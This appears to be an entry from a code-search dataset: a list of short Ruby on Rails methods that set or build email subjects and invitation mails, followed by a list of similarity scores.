[ "def subject\n @options.fetch(:subject) { \"Invitation\" }\n end", "def deliver_invitation(options = {})\n super(options.merge(subject: _('A Data Management Plan in %{application_name} has been shared with you') % {application_name: Rails.configuration.branding[:application][:name]}))\n end", "def subject (recipient)\n subject_variables = alert_variables[:subject].dup\n subject_variables.merge!(recipient_details(recipient))\n subject = \"#{I18n.t(\"#{recipient_type.to_s}_subject_#{alert_name.to_s}\", subject_variables)}\"\n subject\n end", "def translate(mapping, key)\n I18n.t(:\"notifications_subject\", :scope => [:eventifier, :notifications, key],\n :default => [:subject, key.to_s.humanize])\n end", "def invite_subject\n \"Your invitation to #{org_name.possessive} Creative Difference Dashboard\"\n end", "def subject\n self['subject'] || msg['subject']\n end", "def translate(mapping, key)\n I18n.t(:\"#{mapping.name}_subject\", :scope => [:devise, :mailer, key],\n :default => [:subject, key.to_s.humanize])\n end", "def message_subject=(value)\n @message_subject = value\n end", "def subject\n @subject ||= Envelope::MessageTools.normalize(message.subject || '')\n end", "def set_EmailSubject(value)\n set_input(\"EmailSubject\", value)\n end", "def set_EmailSubject(value)\n set_input(\"EmailSubject\", value)\n end", "def formatted_subject(text)\n name = PersonMailer.global_prefs.app_name\n label = name.blank? ? \"\" : \"[#{name}] \"\n \"#{label}#{text}\"\n end", "def invitation_instructions(resource, token, opts={})\n invited_by = resource.invited_by\n invited_by_email = invited_by.email\n invited_to_account = Account.joins(:memberships).where(memberships: {user_id: resource.id, created_by_id: invited_by.id}).limit(1).first.try(:name)\n opts[:subject] = \"#{invited_to_account} Invitation from #{invited_by_email}\"\n super\n end", "def subject\n @subject ||= \"(sans sujet)\"\n if @no_header_subject.nil?\n \"#{header_subject}#{@subject}\"\n else\n @subject\n end\n end", "def subject() self.headers[\"Subject\"] || \"[NO SUBJECT]\" end", "def set_EmailSubject(value)\n set_input(\"EmailSubject\", value)\n end", "def set_EmailSubject(value)\n set_input(\"EmailSubject\", value)\n end", "def course_notification_item_details(course)\n t('notifications.subscribe_course')\n end", "def subject_for(template, attributes = {})\n subject = EmailTemplate.subject_for(template)\n subject = I18n.t(\"email_templates.#{template}.default_subject\") if subject.nil?\n subject = \"No Subject\" if subject.nil?\n Florrick.convert(subject, add_default_attributes(attributes))\n end", "def subject\n self['subject']\n end", "def subject=(subject); @message_impl.setSubject subject; end", "def subject\n @mail.subject\n end", "def subject=(string)\n set('Subject', string)\n end", "def invitation(invitation)\n @recipient = invitation.recipient_mail\n @sender_name = invitation.sender.name\n @sender_mail = invitation.sender.email\n mail(:to => @recipient, :subject => t(\"mailers.invitation_mail.subject\", :sender_name =>@sender_name) ) \n end", "def subject_name\n subject_full_name\n end", "def i18n_label\n \"email.#{name}_label\"\n end", "def subject_name\n return @subject_name\n end", "def event_invitation_notice(invitation)\n @user = invitation.user\n @invitation = invitation\n @event = invitation.event\n email = invitation.email || @user.try(:email)\n mail(:to => email, :subject => \"#{invitation.invitor.name} invited you to '#{invitation.event.title}' on SocialStreet\") unless email.blank?\n end", "def default_i18n_subject(interpolations = {})\n ''\n end", "def subject_alternative_name\n extensions[R509::Cert::Extensions::SubjectAlternativeName]\n end", "def subject_name=(value)\n @subject_name = value\n end", "def compose_email\n @title = t 'conclusion_draft_review.send_by_email'\n end", "def get_email_subject(email_type)\n email_subject = email_type\n case(email_type)\n when \"welcome\"\n email_subject = \"Welcome to Aspera Files\"\n when \"reset\"\n email_subject = \"Password Reset\"\n end\n return email_subject\n end", "def subject\n message.subject\n end", "def collaboration_notification(attributes={})\n invited_by = attributes[:invited_by]\n\t\t@sender_name = invited_by.try(:full_name)\n\t\t@invitee_name = attributes[:invitee].full_name\n\t\tcollaboration_object_type = attributes[:invitation_type].class.to_s.downcase\n\t\t@collaboration_link = \"#{ENV['DOMAIN']}/#/app/#{collaboration_object_type.pluralize}/#{attributes[:invitation_type].id}/accept_invitation\"\n\t\t@reject_link = \"#{ENV['DOMAIN']}/#/app/#{attributes[:invitation_type].class.name.downcase.pluralize}/#{attributes[:invitation_type].id}/reject_invitation\"\n\t\t@message = attributes[:invitation_message].to_s\n\t\t@subject = \"Your help has been requested for a new #{collaboration_object_type} in Grapple.\"\n\t\tp \"-----------------------------------------------------------------------------\"\n\t\tp \"Existing User - Sending CollabInvitation to #{@invitee_name} - #{attributes[:email]}\"\n\t\tp \"-----------------------------------------------------------------------------\"\n\t\tif collaboration_object_type == \"project\"\n\t\t\t@project_title = attributes[:invitation_type].title\n\t\t\tmail(\"existing_user_project_collaboration_invitation\",email: attributes[:email])\n\t\telsif collaboration_object_type == \"document\"\n\t\t\t@document_title = attributes[:invitation_type].title\n\t\t\t@project_title = attributes[:invitation_type].project.title\n\t\t\tmail(\"existing_user_document_collaboration_invitation\",email: attributes[:email])\n\t\tend\n\tend", "def message_subject\n return @message_subject\n end", "def subject_titles\n @subject_titles ||= sw_subject_titles\n end", "def choose_subject(action, params = {})\n scope = [:mailers, mailer_name, action]\n key = :subject\n experiment_name = \"#{mailer_name}_mailer_#{action}_subject\".to_sym\n if experiment_active?(experiment_name)\n scope << key\n key = ab_test(experiment_name)\n end\n params.merge!(scope: scope)\n I18n.t(key, params)\n end", "def invite_user(invitation,subject,message)\n @subject = subject\n @sign_up_url = new_user_registration_url(:token => invitation.token)\n @invitation = invitation\n @message = message\n mail( :from => invitation.user.email,\n :to => invitation.email,\n :subject => subject )\n end", "def set_Subject(value)\n set_input(\"Subject\", value)\n end", "def set_Subject(value)\n set_input(\"Subject\", value)\n end", "def set_Subject(value)\n set_input(\"Subject\", value)\n end", "def set_Subject(value)\n set_input(\"Subject\", value)\n end", "def set_Subject(value)\n set_input(\"Subject\", value)\n end", "def set_Subject(value)\n set_input(\"Subject\", value)\n end", "def set_Subject(value)\n set_input(\"Subject\", value)\n end", "def set_Subject(value)\n set_input(\"Subject\", value)\n end", "def email_subject(form)\n \"#{form.type_of_enquiry} - #{reference}\"\n end", "def subject=(value)\n @subject = value\n end", "def subject=(value)\n @subject = value\n end", "def subject=(value)\n @subject = value\n end", "def subject=(value)\n @subject = value\n end", "def subject=(value)\n @subject = value\n end", "def subject=(value)\n @subject = value\n end", "def set_title\n @title = t(:message_2, :scope => [:controller, :exams])\n end", "def subject\n title \n end", "def invitation_mail(email, sender)\n @email = email\n @sender = sender\n mail to: @email, subject: \"Invitation maill from Git-Api\"\n end", "def setSubject(subject)\n @fields['subject'] = subject\n self\n end", "def setSubject(subject)\n @fields['subject'] = subject\n self\n end", "def setSubject(subject)\n @fields['subject'] = subject\n self\n end", "def setSubject(subject)\n @fields['subject'] = subject\n self\n end", "def invitation_email(invitation)\n @invitation = invitation\n recipients = [\"[email protected]\"]\n recipients << \"[email protected]\" if Rails.env.production?\n\n mail to: recipients,\n reply_to: \"[email protected]\",\n subject: \"New access request from #{invitation.first_name} #{invitation.last_name}\"\n end", "def notification_msg\n author_name = author.firstname\n \"An issue has been reported by #{author_name}\"\n end", "def sign_up_invitation invitation\n @invitation = invitation\n mail(from: invitation.from, to: @invitation.to, subject: @invitation.subject )\n end", "def headers\n { subject: \"#{I18n.t('cms.contact_form.subject_prefix')}: #{reason}: #{subject}\",\n to: Account.current.preferred_support_email,\n from: Account.current.preferred_support_email,\n reply_to: %(\"#{name}\" <#{email}>) }\n end", "def invited_notification(user, data_template, company)\n setup_email(user, company.id)\n @subject += 'Event Invitiation'\n @body[:url] = \"#{SITE}/#{company.name}\"\n @support_email = \"#{SUPPORT_EMAIL}\"\n @invited_to_event = \"#{data_template.event.name}\"\n @invited_to_template = \"#{data_template.name}\"\n end", "def push_message_title\n case notification_type\n when 'conversation_creation'\n I18n.t('notifications.notification_title.conversation_creation', display_id: primary_actor.display_id, inbox_name: primary_actor.inbox.name)\n when 'conversation_assignment'\n I18n.t('notifications.notification_title.conversation_assignment', display_id: primary_actor.display_id)\n when 'assigned_conversation_new_message'\n I18n.t(\n 'notifications.notification_title.assigned_conversation_new_message',\n display_id: conversation.display_id,\n content: primary_actor.content&.truncate_words(10)\n )\n when 'conversation_mention'\n \"[##{conversation.display_id}] #{transform_user_mention_content primary_actor.content}\"\n else\n ''\n end\n end", "def subject; @message_impl.getSubject; end", "def subject(options)\n case [options[:person], options[:plurality]]\n when %i[first singular]\n 'I'\n when %i[first plural]\n 'we'\n when %i[second singular], %i[second plural]\n 'you'\n when %i[third singular]\n 'he'\n when %i[third plural]\n 'they'\n end\n end", "def community_member_email(sender, recipient, email_subject, email_content, community)\n @email_type = \"email_from_admins\"\n set_up_layout_variables(recipient, community, @email_type)\n with_locale(recipient.locale, community.locales.map(&:to_sym), community.id) do\n @email_content = email_content\n @no_recipient_name = true\n premailer_mail(:to => recipient.confirmed_notification_emails_to,\n :from => community_specific_sender(community),\n :subject => email_subject,\n :reply_to => \"\\\"#{sender.name(community)}\\\"<#{sender.confirmed_notification_email_to}>\")\n end\n end", "def deliver_invitation_with options={}\n if model = options[:model]\n # self.override_devise_notification = \"invitation_instructions_with_#{model.class.model_name.to_s.underscore}\"\n self.override_devise_notification = \"invitation_instructions_with_member\"\n self.override_devise_model = model\n end\n if message = options[:personal_message]\n self.invitation_message = message\n end\n deliver_invitation\n end", "def email_subject\n sponsor_name = @config.plan.sponsor_name\n display_date = @date.to_s()\n if @config.div_id.present?\n email_subject = \"Payroll report for #{sponsor_name} for division #{@config.division_name}: #{display_date}\"\n else\n email_subject = \"Payroll report for #{sponsor_name}: #{display_date}\"\n end\n return email_subject\n end", "def subject(options = {})\n options = { :capitalize => true, :case => Grammar::Case::SUBJECT }.merge(options)\n pronoun_or_noun(@subject, @audience, options)\n end", "def translation_scope\n \"mailers.#{mailer_name.tr(\"/\", \".\").sub(\"_mailer\", \"\")}.#{action_name}\"\n end", "def headers\n {\n subject: \"[#{Setting.site_name}] Neue Quelle eingesendet\",\n to: Setting.email,\n reply_to: email,\n from: Setting.get('from'),\n }\n end", "def set_subject(subject)\n\t\tend", "def mmm_test_subj_call\n ->(candidate) { I18n.t('email.test_monthly_mail_subject_initial_input', candidate_account_name: candidate.account_name) }\n end", "def team_invite_email(email, origin_id, team)\n @invitee_name = User.with_email(email).name\n @inviter_name = Profile.find_by_user_id(origin_id).name\n @team_name = team.name\n @partition_name = TeamPartition.find_by_id(team.partition_id).name\n subject = \"#{team.course.number} Team Invite\"\n mail from: \"Igor staff <#{SmtpServer.first.user_name}>\", to: email,\n subject: subject\n end", "def subject_names\n @subject_names ||= sw_subject_names\n end", "def new_notification_email(notification,receiver)\n @notification = notification\n @receiver = receiver\n #DIFFERENT FROM ORIGINAL----------------------\n subject = notification.subject.to_s\n subject = decode_basic_notification(subject,notification.notified_object)\n subject = subject.gsub(/\\n/,'')\n #END OF DIFFERENCE----------------------------\n subject = strip_tags(subject) unless subject.html_safe?\n mail(:to => receiver.send(Mailboxer.email_method,notification), :subject => t('mailboxer.notification_mailer.subject', :subject => subject)) do |format|\n format.text {render __method__}\n format.html {render __method__}\n end\n end", "def reminder_email(user)\n @user = user\n I18n.with_locale user.locale do\n mail to: @user.email\n end\n end", "def title_for_user_applied_to_travel\n I18n.t(\"notification.user_applied_to_travel.title\")\n end", "def send_invite_email(plain_text_token)\n # Use the name of the protocol of the first response that the user will see when opening the invitation link.\n template = invitation_set.responses.min_by(&:priority_sorting_metric).protocol_subscription.protocol.name\n mailer = InvitationMailer.invitation_mail(invitation_set.person.email,\n invitation_set.invitation_text,\n invitation_set.invitation_url(plain_text_token),\n template,\n invitation_set.person.locale,\n invitation_set.responses.first.open_from)\n mailer.deliver_now\n end", "def get_subject\n\t\tend", "def set_title\n @title = t(:message_0, :scope => [:controller, :scholarships])\n end", "def get_subject_name\n subject_name = subject_header.text.sub! 'Subject:', ''\n subject_name = subject_name.strip!\n subject_name\n end", "def title_for_request_message_for_requester\n I18n.t(\"notification.received_a_travel_request_message_is_owner.title\")\n end", "def sender\n ENV['NOTIFICATION_FROM_EMAIL'] || '[email protected]'\n end", "def set_subject\n url = Settings.hqva_mobile.url\n icn = user.icn\n appointment_id = data[:appointment_id]\n\n {\n use: SUBJECT_USE,\n value: \"#{url}/appointments/v1/patients/#{icn}/Appointment/#{appointment_id}\"\n }\n end", "def course_notification_card_text(course)\n t('notifications.new_course_created_html', title: course.title)\n end", "def create_notification\n subject = \"#{student_request.name} \"\n body = \"#{student_request.name} (#{student_request.email}) needs tutorial.\"\n tutor_request.notify(subject, body, self)\n end", "def email_subject(&blk)\n @email_subject_block = blk if blk\n @email_subject_block\n end", "def campaign_invitation(invitation)\n # @from = invitation.user_id\n # @to_name = invitation.to_name\n # @to_email = invitation.to_email\n # @message = invitation.message\n # @campaign = invitation.campaign_id\n @invitation = invitation\n\n mail to: \"#{@invitation.to_email}\", subject: t(\"user_mailer.campaign_invitation.subject\", from: @invitation.user.full_name)\n\n # mail to: \"#{@to_user.email}\", subject: t(\"user_mailer.campaign_invitation.subject\", from_user: @from_user, to_user: @to_user, message: @message)\n end", "def question_notification(asker, subject, details)\n @asker = asker\n @subject = subject\n @details = details\n\n mail to: \"Alex Yang <[email protected]>\",\n from: \"BaseRails <[email protected]>\",\n subject: \"#{asker} posted a new question on BaseRails\"\n end", "def tutor_reserved_notification\n @greeting = \"Hi\"\n\n mail to: \"[email protected]\"\n end", "def adhoc_test_subj_call\n ->(candidate) { I18n.t('email.test_adhoc_subject_initial_input', candidate_account_name: candidate.account_name) }\n end", "def invalid_invitation_email_errors\n invalid_invitations.map do |invitation|\n message = invitation.errors.full_messages.to_sentence\n t('course.user_invitations.errors.invalid_email', email: invitation.email, message: message)\n end\n end", "def invalid_invitation_email_errors\n invalid_invitations.map do |invitation|\n message = invitation.errors.full_messages.to_sentence\n t('course.user_invitations.errors.invalid_email', email: invitation.email, message: message)\n end\n end", "def invite(invitation)\n @invitable = invitation.invitable\n @user = invitation.user\n # TODO: UPDATE the registration URL\n @registration_url = root_url\n\n view = 'invite'\n # invite_project or invite_board if available\n view += ('_%s' % invitation.invitable_type.parameterize) if @invitable\n\n title = @invitable.nil? ? Doers::Config.app_name : @invitable.title\n subject = _('%s invites you to work on %s.') % [invitation.user.name, title]\n\n mail(:to => invitation.email, :subject => subject, :template_name => view)\n end", "def headers\n {\n :subject => \"澄清:對於#{candidate_name}的#{record_type}\",\n # :to => \"[email protected]\",\n :to => Setting.email.clarify,\n :from => %(\"#{name}\" <#{email}>)\n }\n end", "def default_sender_address\n address = Mail::Address.new(Gitlab.config.gitlab.email_from)\n address.display_name = \"GitLab\"\n address\n end" ]
[ "0.7471469", "0.7104286", "0.703749", "0.68265396", "0.6792275", "0.6746061", "0.66665125", "0.65584445", "0.6527312", "0.6372968", "0.6371469", "0.63520604", "0.63486785", "0.63220483", "0.63106805", "0.63035166", "0.63015187", "0.62751955", "0.62705505", "0.62181646", "0.6202541", "0.6195898", "0.61927044", "0.6173721", "0.6141889", "0.6058719", "0.6053921", "0.60394275", "0.6019578", "0.6012601", "0.6010753", "0.5976748", "0.5972026", "0.5943916", "0.59380966", "0.59354293", "0.59341073", "0.59287727", "0.5927005", "0.5917783", "0.5917783", "0.5917783", "0.5917783", "0.5917783", "0.5917783", "0.5917783", "0.5917783", "0.58636147", "0.58635724", "0.58635724", "0.58635724", "0.58635724", "0.58635724", "0.58635724", "0.5858016", "0.58545524", "0.5845058", "0.58325684", "0.58325684", "0.58325684", "0.58325684", "0.58281076", "0.5817434", "0.5813086", "0.5804786", "0.5774674", "0.5755369", "0.5750203", "0.5748692", "0.5733363", "0.5732766", "0.5712104", "0.5700454", "0.5692656", "0.5673349", "0.5670418", "0.563718", "0.5636745", "0.562528", "0.5590185", "0.5574038", "0.55638665", "0.5558002", "0.5548923", "0.553681", "0.55292636", "0.5508095", "0.5502379", "0.5498268", "0.54936194", "0.54842305", "0.54745346", "0.54651594", "0.5456559", "0.54553264", "0.54487574", "0.5445594", "0.5445594", "0.54359436", "0.5433912", "0.5425597" ]
0.0
-1
Only allow a trusted parameter "allowed list" through.
def invitation_params params.require(:invitation).permit(:slack_uid, :invitee_name, :invitee_email, :invitee_title, :invitee_company, :invitation) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def allowed_params\n ALLOWED_PARAMS\n end", "def expected_permitted_parameter_names; end", "def permitted_params\n []\n end", "def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end", "def param_whitelist\n [:role, :title]\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def additional_permitted_params\n []\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def list_params\n params.permit(:name)\n end", "def list_params\n params.permit(:list_name)\n end", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end", "def param_whitelist\n [:rating, :review]\n end", "def valid_params?; end", "def permitted_params\n declared(params, include_missing: false)\n end", "def permitted_params\n declared(params, include_missing: false)\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def saved_list_params\n params.require(:saved_list).permit(:user_id)\n end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def param_list(param_type, name, type, required, description = nil, allowed_values = [], hash = {})\n hash.merge!({allowable_values: {value_type: \"LIST\", values: allowed_values}})\n param(param_type, name, type, required, description, hash)\n end", "def resource_filter_permitted_params\n raise(NotImplementedError, 'resource_filter_permitted_params method not implemented')\n end", "def get_allowed_parameters\n return _get_specific_action_config(:allowed_action_parameters, :allowed_parameters)&.map(&:to_s)\n end", "def list_params\n params.require(:list).permit(:name)\n end", "def listed_params\n params.permit(:listed, :list_id, :listable_id, :listable_type, :campsite_id)\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def list_params\n params.require(:list).permit(:name)\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def url_list_params\n params.require(:url_list).permit(:full_url, :short_url)\n end", "def valid_params_request?; end", "def list_params\n params.require(:list).permit(:name)\n end", "def list_params\n params.require(:list).permit(:name)\n end", "def list_params\n params.require(:list).permit(:name)\n end", "def list_params\n params.require(:list).permit(:name, :description, :type, :privacy, :allow_edit, :rating, :votes_count, :user_id)\n end", "def list_params\n params.require(:list).permit(:name, :user_id)\n end", "def lists_params\n params.require(:list).permit(:name)\n\n end", "def list_params\n params.require(:list).permit(:name).merge(user_id: current_user.id)\n end", "def permitted_params\n columns.map { |name,multiple| multiple ? { name => [] } : name }\n end", "def list_params\n params.require(:list).permit(:name, :position)\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def user_params\n params.require(:user).permit(:first_name, :name, :email, :password, :password_confirmation, :role, :list_ids => [])\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def list_params\n params.require(:list).permit(:name, :user_id, :position)\n end", "def allowed_options\n []\nend", "def allowed_options\n []\nend", "def allowed_options\n []\nend", "def allowed_options\n []\nend", "def allowed_options\n []\nend", "def allowed_options\n []\nend", "def allowed_options\n []\nend", "def allowed_options\n []\nend", "def allowed_options\n []\nend", "def allowed_options\n []\nend", "def allowed_options\n []\nend", "def shopping_list_params\n params.require(:shopping_list).permit!\n end", "def check_params; true; end", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def list_params\n params.fetch(:list, {}).permit(:user_id, :name, :active)\n end", "def permitted_create_params\n fail NotImplementedError\n end", "def list_params\n params.require(:list).permit(:name, :position)\n end", "def value_list_params\n params.require(:value_list).permit(:name, :value_items)\n end", "def special_device_list_params\n params.require(:special_device_list).permit(:name)\n end", "def quote_params\n params.permit!\n end", "def sequence_param_whitelist\n default_param_whitelist << \"show_index\"\n end", "def resource_params\n params[resource_singular_name].try(:permit, self.class.param_whitelist)\n end", "def authorize_params\n super.tap do |params|\n %w[display scope auth_type].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "def check_params\n true\n end", "def filtered_parameters; end", "def unpermitted_parameters\n fail 'Define me!'\n end", "def list_params\n if current_user && current_user.role == 'admin'\n params.require(:list).permit(:name, :url, :description, :user_id,\n ideas_attributes: [:id, :list_id, :body, :due_date, :completion_status, :_destroy])\n else\n params.require(:list).permit(:name, :description,\n ideas_attributes: [:body, :due_date, :completion_status]) \n end\n end", "def authorize_params\n super.tap do |params|\n options[:authorize_options].each do |k|\n params[k] = request.params[k.to_s] unless [nil, ''].include?(request.params[k.to_s])\n end\n end\n end", "def user_pref_list_params\n\t\tparams.require(:user).permit(:preference_list)\n\tend", "def permit_all_params options = {}\n prepend_before_filter do\n self.params.deep_permit!\n end\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def sanitize_params_for user, params, allowed_params\n params.each do |key, val|\n #if allowed_params.include?(key)\n #sanitize!(user, params, key) if key =~ /_attributes|_ids$/\n #else\n #params.delete(key)\n #end\n params.delete(key) unless allowed_params.include?(key.to_sym)\n end\n end", "def white_listed_parameters\n params\n .require(:department)\n .permit(:department_name)\n .merge(params.permit(:company_id))\n end", "def guest_list_params\n params.require(:guest_list).permit(:user_id, :name, :relationship, :email, :status)\n end", "def accepted_parameters\n required_parameters + optional_parameters\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def validate_params?\n true # TODO: add validation\n end", "def list_params\n params.require(:list).permit(:name, :description)\n end", "def allowed?(*_)\n true\n end", "def price_list_params\n params.fetch(:price_list, {}).permit(:name, :valid_from, :valid_to, :active,\n :all_warehouses, :all_users, :all_contact_groups,\n warehouse_ids: [], price_lists_user_ids: [], contact_group_ids: [])\n end", "def list_params\n params.require(:list).permit(:name, :permalink, :description, :picurl)\n end", "def form_params\n # Remove role and privilege ids as these are managed by the app not by\n # the active record associations\n params[:user].delete :role_ids\n params[:user].delete :privilege_ids\n params.require(:user).permit(user_allowable_params)\n end", "def whitelist_person_params\n params.require(:person).permit(:family, :pre_title, :given_name, :dates, :post_title, :epithet, :dates_of_office, same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end", "def whitelist_place_params\n params.require(:place).permit(:place_name, :unlock, :auth, :is_deep_checked, :parent_ADM4, :parent_ADM3, :parent_ADM2, :parent_ADM1, :parent_country, feature_code: [], same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end", "def recipient_list_params\n params.require(:recipient_list).permit(:name, :list, :references)\n end", "def validate_params(params)\n # This will be implemented by Validators which take parameters\n end", "def pick_list_params\n params #.require(:pick_list).permit(:id, :user_id)\n end", "def item_params\n white_list_params = params.permit(:proxy_for) unless params.has_key?(:item)\n white_list_params = params.require(:item).permit(:proxy_for) if params.has_key?(:item)\n white_list_params\n end" ]
[ "0.75540984", "0.7406233", "0.6965594", "0.68537813", "0.68317914", "0.66484946", "0.6635215", "0.658638", "0.65657544", "0.6522243", "0.6512206", "0.64110196", "0.6384892", "0.6380021", "0.6354687", "0.6343312", "0.6336751", "0.6328964", "0.6328964", "0.62808925", "0.6274692", "0.62416685", "0.6240868", "0.6233533", "0.62294126", "0.62223035", "0.6208964", "0.6182849", "0.61821103", "0.6174455", "0.61727685", "0.6172329", "0.61626923", "0.61563593", "0.6154119", "0.6143481", "0.61376184", "0.61216724", "0.61216724", "0.61216724", "0.61176866", "0.61124456", "0.6109305", "0.6108819", "0.60909545", "0.6068722", "0.60510147", "0.6043188", "0.6041719", "0.6038954", "0.6030604", "0.60270125", "0.60245615", "0.60245615", "0.60245615", "0.60245615", "0.60245615", "0.60245615", "0.60245615", "0.60245615", "0.60245615", "0.60245615", "0.60245615", "0.6015882", "0.6003984", "0.5995798", "0.5991771", "0.5983089", "0.5982561", "0.5972259", "0.59654003", "0.5961479", "0.5953262", "0.59514296", "0.59502375", "0.59499645", "0.5945228", "0.59354615", "0.59327155", "0.5921453", "0.5920298", "0.59165984", "0.5907726", "0.5903334", "0.59014386", "0.5899064", "0.5894855", "0.58928245", "0.5890596", "0.5888511", "0.5887564", "0.58866596", "0.58856475", "0.58777887", "0.5876593", "0.58761686", "0.5875187", "0.58748406", "0.5869999", "0.5868845", "0.58632725" ]
0.0
-1
validates :area, presence: true
def pretty_time hour = created_at.strftime("%l").to_i - 5 created_at.strftime("%A, %b %d, %Y") end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def valid?\n\t\tarea != 0\n\tend", "def check\n @area = Area.new(params[:area])\n render :action => :new, :status => 400 and return unless @area.valid?\n end", "def area_params\n params.require(:area).permit(:name)\n end", "def create\n @area = Area.new(area_params)\n if @area.save\n flash[:success] = 'Area was successfully created.'\n redirect_to :back\n else\n flash[:danger] = 'Area was not created.'\n redirect_to :back\n end\n end", "def area_params\n params.require(:area).permit(:name, :city_id)\n end", "def area_params\n params.require(:area).permit(:name, :pincode)\n end", "def create\n @area = Area.new(params[:area])\n \n respond_to do |format|\n if @area.save\n flash[:notice] = 'Area creada correctamente.'\n format.html { params[:oper].nil? ? redirect_to(@area) : render(:text => \"Ok\")}\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @area.errors, :status => :unprocessable_entity }\n end\n end\n end", "def area_attribute_params\n params.require(:area_attribute).permit(:name, :value)\n end", "def create\n @area = Area.new(params[:area])\n\n respond_to do |format|\n if @area.save\n format.html { redirect_to @area, notice: 'Area was successfully created.' }\n format.json { render json: @area, status: :created, location: @area }\n else\n format.html { render action: \"new\" }\n format.json { render json: @area.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @area = Area.new(params[:area])\n\n respond_to do |format|\n if @area.save\n format.html { redirect_to @area, notice: 'Area was successfully created.' }\n format.json { render json: @area, status: :created, location: @area }\n else\n format.html { render action: \"new\" }\n format.json { render json: @area.errors, status: :unprocessable_entity }\n end\n end\n end", "def validate_on_update\n if final_areas\n if final_areas['cz'].values.join('').strip == '' ||\n final_areas['en'].values.join('').strip == ''\n errors.add('final_areas', I18n.t(:final_areas_must_be_filled, :scope => [:model, :study_plan]))\n end\n end\n end", "def create\n @area = Area.new(params[:area])\n\n respond_to do |format|\n if @area.save\n format.html { redirect_to areas_path, notice: 'Area was successfully created.' }\n format.json { render json: @area, status: :created, location: @area }\n else\n format.html { render action: \"new\" }\n format.json { render json: @area.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_Area(value)\n set_input(\"Area\", value)\n end", "def area_params\n params.require(:area).permit(:name, :active, :start_date, :end_date, :status, :audit_id)\n end", "def store_area_params\n params.require(:store_area).permit(:area_id, :area_name)\n end", "def new\n @area = Area.new(params[:area])\n end", "def city_area_params\n params.require(:city_area).permit(:title, :slug, :user_id)\n end", "def confirm\n @area = Area.find(params[:id])\n @area.attributes = params[:area]\n render :action => :edit, :status => 400 and return unless @area.valid?\n end", "def set_area\n @area = Area.find_by_id(params[:id])\n if @area.blank?\n json_response(nil, :unprocessable_entity, :invalid_id)\n end\n end", "def issue_area_params\n params.require(:issue_area).permit(:name)\n end", "def create\n @area_attribute = AreaAttribute.new(area_attribute_params)\n\n respond_to do |format|\n if @area_attribute.save\n format.html { redirect_to @area_attribute, notice: 'Area attribute was successfully created.' }\n format.json { render action: 'show', status: :created, location: @area_attribute }\n else\n format.html { render action: 'new' }\n format.json { render json: @area_attribute.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_area\n @area = 